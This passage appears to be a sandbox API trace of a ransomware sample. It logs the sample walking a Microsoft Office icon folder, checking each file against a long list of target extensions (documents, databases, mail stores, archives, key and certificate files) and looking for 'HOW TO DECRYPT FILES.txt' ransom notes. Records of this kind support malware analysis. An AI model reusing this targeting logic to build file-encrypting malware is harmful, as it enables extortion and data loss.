[0065.714] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolIcons\\ALERT.ICO", pszSpec="*.vdi") returned 0 [0065.714] lstrlenA (lpString="*.vdi") returned 5 [0065.714] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolIcons\\ALERT.ICO", pszSpec="*.lay6") returned 0 [0065.714] lstrlenA (lpString="*.lay6") returned 6 [0065.714] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolIcons\\ALERT.ICO", pszSpec="*.mpeg") returned 0 [0065.714] lstrlenA (lpString="*.mpeg") returned 6 [0065.714] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolIcons\\ALERT.ICO", pszSpec="*.djvu") returned 0 [0065.714] lstrlenA (lpString="*.djvu") returned 6 [0065.714] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolIcons\\ALERT.ICO", pszSpec="*.tiff") returned 0 [0065.714] lstrlenA (lpString="*.tiff") returned 6 [0065.715] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolIcons\\ALERT.ICO", pszSpec="*.backup") returned 0 [0065.715] lstrlenA (lpString="*.backup") returned 8 [0065.715] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolIcons\\ALERT.ICO", pszSpec="*.pdf") returned 0 [0065.715] lstrlenA (lpString="*.pdf") returned 5 [0065.715] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolIcons\\ALERT.ICO", pszSpec="*.cert") returned 0 [0065.715] lstrlenA (lpString="*.cert") returned 6 [0065.715] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolIcons\\ALERT.ICO", pszSpec="*.docm") returned 0 [0065.715] lstrlenA (lpString="*.docm") returned 6 [0065.715] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolIcons\\ALERT.ICO", pszSpec="*.xlsm") returned 0 [0065.715] lstrlenA (lpString="*.xlsm") returned 6 [0065.715] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolIcons\\ALERT.ICO", pszSpec="*.dwg") returned 0 [0065.715] lstrlenA (lpString="*.dwg") returned 5 [0065.715] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolIcons\\ALERT.ICO", pszSpec="*.nd") returned 0 [0065.715] lstrlenA (lpString="*.nd") returned 4 [0065.715] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolIcons\\ALERT.ICO", pszSpec="*.tlg") returned 0 [0065.715] lstrlenA (lpString="*.tlg") returned 5 [0065.715] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolIcons\\ALERT.ICO", pszSpec="*.lgb") returned 0 [0065.715] lstrlenA (lpString="*.lgb") returned 5 [0065.715] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolIcons\\ALERT.ICO", pszSpec="*.mov") returned 0 [0065.715] lstrlenA (lpString="*.mov") returned 5 [0065.715] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolIcons\\ALERT.ICO", pszSpec="*.xdw") returned 0 [0065.715] lstrlenA (lpString="*.xdw") returned 5 [0065.716] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolIcons\\ALERT.ICO", pszSpec="*.ods") returned 0 [0065.716] lstrlenA (lpString="*.ods") returned 5 [0065.716] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolIcons\\ALERT.ICO", pszSpec="*.wav") returned 0 [0065.716] lstrlenA (lpString="*.wav") returned 5 [0065.716] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolIcons\\ALERT.ICO", pszSpec="*.mp3") returned 0 [0065.716] lstrlenA (lpString="*.mp3") returned 5 [0065.716] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolIcons\\ALERT.ICO", pszSpec="*.aiff") returned 0 [0065.716] lstrlenA (lpString="*.aiff") returned 6 [0065.716] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolIcons\\ALERT.ICO", pszSpec="*.flac") returned 0 [0065.716] lstrlenA (lpString="*.flac") returned 6 [0065.716] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolIcons\\ALERT.ICO", pszSpec="*.m4a") returned 0 [0065.716] lstrlenA (lpString="*.m4a") returned 5 [0065.716] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolIcons\\ALERT.ICO", pszSpec="*.csv") returned 0 [0065.716] lstrlenA (lpString="*.csv") returned 5 [0065.716] FindNextFileA (in: hFindFile=0x502518, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbcdf0400, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0x60382570, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xbcdf0400, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0xb2e, dwReserved0=0x0, dwReserved1=0x0, cFileName="CHEVRON.ICO", cAlternateFileName="")) returned 1 [0065.716] PeekMessageA (in: lpMsg=0x18f784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f784) returned 0 [0065.716] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="CHEVRON.ICO") returned 1 [0065.716] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="CHEVRON.ICO") returned 1 [0065.716] lstrcmpiA (lpString1="", lpString2="CHEVRON.ICO") returned -1 [0065.716] PathFindFileNameA (pszPath="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolIcons\\ALERT.ICO") returned="ALERT.ICO" [0065.716] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolIcons\\" | out: lpString1="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolIcons\\") returned="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolIcons\\" [0065.716] PathAddBackslashA (in: pszPath="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolIcons\\" | out: pszPath="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolIcons\\") returned="" [0065.717] lstrcatA (in: lpString1="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolIcons\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolIcons\\HOW TO DECRYPT FILES.txt") returned="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolIcons\\HOW TO DECRYPT FILES.txt" [0065.717] GetFileAttributesA (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolIcons\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\toolicons\\how to decrypt files.txt")) returned 0x20 [0065.717] lstrcatA (in: lpString1="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolIcons\\", lpString2="CHEVRON.ICO" | out: lpString1="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolIcons\\CHEVRON.ICO") returned="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolIcons\\CHEVRON.ICO" [0065.717] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolIcons\\CHEVRON.ICO", pszSpec="*.ems") returned 0 [0065.717] lstrlenA (lpString="*.ems") returned 5 [0065.717] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolIcons\\CHEVRON.ICO", pszSpec="*.db") returned 0 [0065.717] lstrlenA (lpString="*.db") returned 4 [0065.717] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolIcons\\CHEVRON.ICO", pszSpec="*.dbf") returned 0 [0065.717] lstrlenA (lpString="*.dbf") returned 5 [0065.717] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolIcons\\CHEVRON.ICO", pszSpec="*.myox") returned 0 [0065.717] lstrlenA (lpString="*.myox") returned 6 [0065.717] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolIcons\\CHEVRON.ICO", pszSpec="*.myo") returned 0 [0065.717] lstrlenA (lpString="*.myo") returned 5 [0065.717] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolIcons\\CHEVRON.ICO", pszSpec="*.qbw") returned 0 [0065.717] lstrlenA (lpString="*.qbw") returned 5 [0065.717] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolIcons\\CHEVRON.ICO", pszSpec="*.qbb") returned 0 [0065.717] lstrlenA (lpString="*.qbb") returned 5 [0065.717] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolIcons\\CHEVRON.ICO", pszSpec="*.qbm") returned 0 [0065.717] lstrlenA (lpString="*.qbm") returned 5 [0065.717] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolIcons\\CHEVRON.ICO", pszSpec="*.qbo") returned 0 [0065.717] lstrlenA (lpString="*.qbo") returned 5 [0065.717] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolIcons\\CHEVRON.ICO", pszSpec="*.qbx") returned 0 [0065.718] lstrlenA (lpString="*.qbx") returned 5 [0065.718] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolIcons\\CHEVRON.ICO", pszSpec="*.qba") returned 0 [0065.718] lstrlenA (lpString="*.qba") returned 5 [0065.718] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolIcons\\CHEVRON.ICO", pszSpec="*.qby") returned 0 [0065.718] lstrlenA (lpString="*.qby") returned 5 [0065.718] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolIcons\\CHEVRON.ICO", pszSpec="*.qbj") returned 0 [0065.718] lstrlenA (lpString="*.qbj") returned 5 [0065.718] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolIcons\\CHEVRON.ICO", pszSpec="*.ofx") returned 0 [0065.718] lstrlenA (lpString="*.ofx") returned 5 [0065.718] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolIcons\\CHEVRON.ICO", pszSpec="*.qif") returned 0 [0065.718] lstrlenA (lpString="*.qif") returned 5 [0065.718] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolIcons\\CHEVRON.ICO", pszSpec="*.mye") returned 0 [0065.718] lstrlenA (lpString="*.mye") returned 5 [0065.718] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolIcons\\CHEVRON.ICO", pszSpec="*.mbox") returned 0 [0065.718] lstrlenA (lpString="*.mbox") returned 6 [0065.718] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolIcons\\CHEVRON.ICO", pszSpec="*.eml") returned 0 [0065.718] lstrlenA (lpString="*.eml") returned 5 [0065.718] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolIcons\\CHEVRON.ICO", pszSpec="*.pst") returned 0 [0065.718] lstrlenA (lpString="*.pst") returned 5 [0065.718] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolIcons\\CHEVRON.ICO", pszSpec="*.ost") returned 0 [0065.718] lstrlenA (lpString="*.ost") returned 5 [0065.718] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolIcons\\CHEVRON.ICO", pszSpec="*.idx") returned 0 [0065.718] lstrlenA (lpString="*.idx") returned 5 [0065.718] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolIcons\\CHEVRON.ICO", pszSpec="*.dbx") returned 0 [0065.718] lstrlenA (lpString="*.dbx") returned 5 [0065.718] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolIcons\\CHEVRON.ICO", pszSpec="*.sql") returned 0 [0065.718] lstrlenA (lpString="*.sql") returned 5 [0065.719] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolIcons\\CHEVRON.ICO", pszSpec="*.mdb") returned 0 [0065.719] lstrlenA (lpString="*.mdb") returned 5 [0065.719] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolIcons\\CHEVRON.ICO", pszSpec="*.fdb") returned 0 [0065.719] lstrlenA (lpString="*.fdb") returned 5 [0065.719] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolIcons\\CHEVRON.ICO", pszSpec="*.wab") returned 0 [0065.719] lstrlenA (lpString="*.wab") returned 5 [0065.719] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolIcons\\CHEVRON.ICO", pszSpec="*.dat") returned 0 [0065.719] lstrlenA (lpString="*.dat") returned 5 [0065.719] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolIcons\\CHEVRON.ICO", pszSpec="*.txt") returned 0 [0065.719] lstrlenA (lpString="*.txt") returned 5 [0065.719] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolIcons\\CHEVRON.ICO", pszSpec="*.jpeg") returned 0 [0065.719] lstrlenA (lpString="*.jpeg") returned 6 [0065.719] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolIcons\\CHEVRON.ICO", pszSpec="*.jpg") returned 0 [0065.719] lstrlenA (lpString="*.jpg") returned 5 [0065.719] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolIcons\\CHEVRON.ICO", pszSpec="*.png") returned 0 [0065.719] lstrlenA (lpString="*.png") returned 5 [0065.719] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolIcons\\CHEVRON.ICO", pszSpec="*.php") returned 0 [0065.719] lstrlenA (lpString="*.php") returned 5 [0065.719] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolIcons\\CHEVRON.ICO", pszSpec="*.cs") returned 0 [0065.719] lstrlenA (lpString="*.cs") returned 4 [0065.719] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolIcons\\CHEVRON.ICO", pszSpec="*.cpp") returned 0 [0065.719] lstrlenA (lpString="*.cpp") returned 5 [0065.719] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolIcons\\CHEVRON.ICO", pszSpec="*.rar") returned 0 [0065.719] lstrlenA (lpString="*.rar") returned 5 [0065.719] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolIcons\\CHEVRON.ICO", pszSpec="*.zip") returned 0 [0065.719] lstrlenA (lpString="*.zip") returned 5 [0065.720] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolIcons\\CHEVRON.ICO", pszSpec="*.html") returned 0 [0065.720] lstrlenA (lpString="*.html") returned 6 [0065.720] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolIcons\\CHEVRON.ICO", pszSpec="*.htm") returned 0 [0065.720] lstrlenA (lpString="*.htm") returned 5 [0065.720] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolIcons\\CHEVRON.ICO", pszSpec="*.xlsx") returned 0 [0065.720] lstrlenA (lpString="*.xlsx") returned 6 [0065.720] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolIcons\\CHEVRON.ICO", pszSpec="*.xls") returned 0 [0065.720] lstrlenA (lpString="*.xls") returned 5 [0065.721] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolIcons\\CHEVRON.ICO", pszSpec="*.mp4") returned 0 [0065.721] lstrlenA (lpString="*.mp4") returned 5 [0065.721] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolIcons\\CHEVRON.ICO", pszSpec="*.ppt") returned 0 [0065.721] lstrlenA (lpString="*.ppt") returned 5 [0065.721] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolIcons\\CHEVRON.ICO", pszSpec="*.pptx") returned 0 [0065.721] lstrlenA (lpString="*.pptx") returned 6 [0065.721] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolIcons\\CHEVRON.ICO", pszSpec="*.doc") returned 0 [0065.721] lstrlenA (lpString="*.doc") returned 5 [0065.721] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolIcons\\CHEVRON.ICO", pszSpec="*.dot") returned 0 [0065.721] lstrlenA (lpString="*.dot") returned 5 [0065.721] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolIcons\\CHEVRON.ICO", pszSpec="*.docx") returned 0 [0065.721] lstrlenA (lpString="*.docx") returned 6 [0065.721] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolIcons\\CHEVRON.ICO", pszSpec="*.7z") returned 0 [0065.721] lstrlenA (lpString="*.7z") returned 4 [0065.721] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolIcons\\CHEVRON.ICO", pszSpec="*.tar") returned 0 [0065.721] lstrlenA (lpString="*.tar") returned 5 [0065.721] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolIcons\\CHEVRON.ICO", pszSpec="*.bz2") returned 0 [0065.721] lstrlenA (lpString="*.bz2") returned 5 [0065.721] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolIcons\\CHEVRON.ICO", pszSpec="*.gz") returned 0 [0065.721] lstrlenA (lpString="*.gz") returned 4 [0065.721] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolIcons\\CHEVRON.ICO", pszSpec="*.mkv") returned 0 [0065.721] lstrlenA (lpString="*.mkv") returned 5 [0065.721] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolIcons\\CHEVRON.ICO", pszSpec="*.eml") returned 0 [0065.721] lstrlenA (lpString="*.eml") returned 5 [0065.721] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolIcons\\CHEVRON.ICO", pszSpec="*.msg") returned 0 [0065.722] lstrlenA (lpString="*.msg") returned 5 [0065.722] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolIcons\\CHEVRON.ICO", pszSpec="*.edb") returned 0 [0065.722] lstrlenA (lpString="*.edb") returned 5 [0065.722] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolIcons\\CHEVRON.ICO", pszSpec="*.accdb") returned 0 [0065.722] lstrlenA (lpString="*.accdb") returned 7 [0065.722] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolIcons\\CHEVRON.ICO", pszSpec="*.odb") returned 0 [0065.722] lstrlenA (lpString="*.odb") returned 5 [0065.722] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolIcons\\CHEVRON.ICO", pszSpec="*.java") returned 0 [0065.722] lstrlenA (lpString="*.java") returned 6 [0065.722] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolIcons\\CHEVRON.ICO", pszSpec="*.asm") returned 0 [0065.722] lstrlenA (lpString="*.asm") returned 5 [0065.722] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolIcons\\CHEVRON.ICO", pszSpec="*.pfx") returned 0 [0065.722] lstrlenA (lpString="*.pfx") returned 5 [0065.722] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolIcons\\CHEVRON.ICO", pszSpec="*.pem") returned 0 [0065.722] lstrlenA (lpString="*.pem") returned 5 [0065.722] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolIcons\\CHEVRON.ICO", pszSpec="*.p12") returned 0 [0065.722] lstrlenA (lpString="*.p12") returned 5 [0065.722] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolIcons\\CHEVRON.ICO", pszSpec="*.gpg") returned 0 [0065.722] FindNextFileA (in: hFindFile=0x502518, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbcdf0400, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0x60440c50, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xbcdf0400, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0xa2e, dwReserved0=0x0, dwReserved1=0x0, cFileName="COMPUTER.ICO", cAlternateFileName="")) returned 1 [0065.722] PeekMessageA (in: lpMsg=0x18f784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f784) returned 0 [0065.722] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="COMPUTER.ICO") returned 1 [0065.722] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="COMPUTER.ICO") returned 1 [0065.723] lstrcmpiA (lpString1="", lpString2="COMPUTER.ICO") returned -1 [0065.723] PathFindFileNameA (pszPath="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolIcons\\CHEVRON.ICO") returned="CHEVRON.ICO" [0065.723] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolIcons\\" | out: lpString1="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolIcons\\") returned="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolIcons\\" [0065.723] PathAddBackslashA (in: pszPath="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolIcons\\" | out: pszPath="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolIcons\\") returned="" [0065.723] lstrcatA (in: lpString1="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolIcons\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolIcons\\HOW TO DECRYPT FILES.txt") returned="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolIcons\\HOW TO DECRYPT FILES.txt" [0065.723] GetFileAttributesA (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolIcons\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\toolicons\\how to decrypt files.txt")) returned 0x20 [0065.723] lstrcatA (in: lpString1="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolIcons\\", lpString2="COMPUTER.ICO" | out: lpString1="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolIcons\\COMPUTER.ICO") returned="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolIcons\\COMPUTER.ICO" [0065.723] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolIcons\\COMPUTER.ICO", pszSpec="*.ems") returned 0 [0065.723] FindNextFileA (in: hFindFile=0x502518, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbcdf0400, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0x604b3070, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xbcdf0400, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0xea6, dwReserved0=0x0, dwReserved1=0x0, cFileName="ContactSelector.ico", cAlternateFileName="CONTAC~1.ICO")) returned 1 [0065.723] PeekMessageA (in: lpMsg=0x18f784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f784) returned 0 [0065.723] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="ContactSelector.ico") returned 1 [0065.723] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="ContactSelector.ico") returned 1 [0065.723] lstrcmpiA (lpString1="", lpString2="ContactSelector.ico") returned -1 [0065.723] PathFindFileNameA (pszPath="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolIcons\\COMPUTER.ICO") returned="COMPUTER.ICO" [0065.723] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolIcons\\" | out: lpString1="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolIcons\\") returned="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolIcons\\" [0065.723] PathAddBackslashA (in: pszPath="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolIcons\\" | out: pszPath="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolIcons\\") returned="" [0065.724] lstrcatA (in: lpString1="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolIcons\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolIcons\\HOW TO DECRYPT FILES.txt") returned="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolIcons\\HOW TO DECRYPT FILES.txt" [0065.724] GetFileAttributesA (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolIcons\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\toolicons\\how to decrypt files.txt")) returned 0x20 [0065.724] lstrcatA (in: lpString1="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolIcons\\", lpString2="ContactSelector.ico" | out: lpString1="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolIcons\\ContactSelector.ico") returned="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolIcons\\ContactSelector.ico" [0065.724] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolIcons\\ContactSelector.ico", pszSpec="*.ems") returned 0 [0065.724] FindNextFileA (in: hFindFile=0x502518, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7e764200, ftCreationTime.dwHighDateTime=0x1c9ff6c, ftLastAccessTime.dwLowDateTime=0x52a4cdf0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7e764200, ftLastWriteTime.dwHighDateTime=0x1c9ff6c, nFileSizeHigh=0x0, nFileSizeLow=0x6b6, dwReserved0=0x0, dwReserved1=0x0, cFileName="gfserrorfromgroove.ico", cAlternateFileName="GFSERR~1.ICO")) returned 1 [0065.724] PeekMessageA (in: lpMsg=0x18f784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f784) returned 0 [0065.724] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="gfserrorfromgroove.ico") returned -1 [0065.724] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="gfserrorfromgroove.ico") returned 1 [0065.724] lstrcmpiA (lpString1="", lpString2="gfserrorfromgroove.ico") returned -1 [0065.724] PathFindFileNameA (pszPath="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolIcons\\ContactSelector.ico") returned="ContactSelector.ico" [0065.724] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolIcons\\" | out: lpString1="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolIcons\\") returned="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolIcons\\" [0065.724] PathAddBackslashA (in: pszPath="C:\\Program 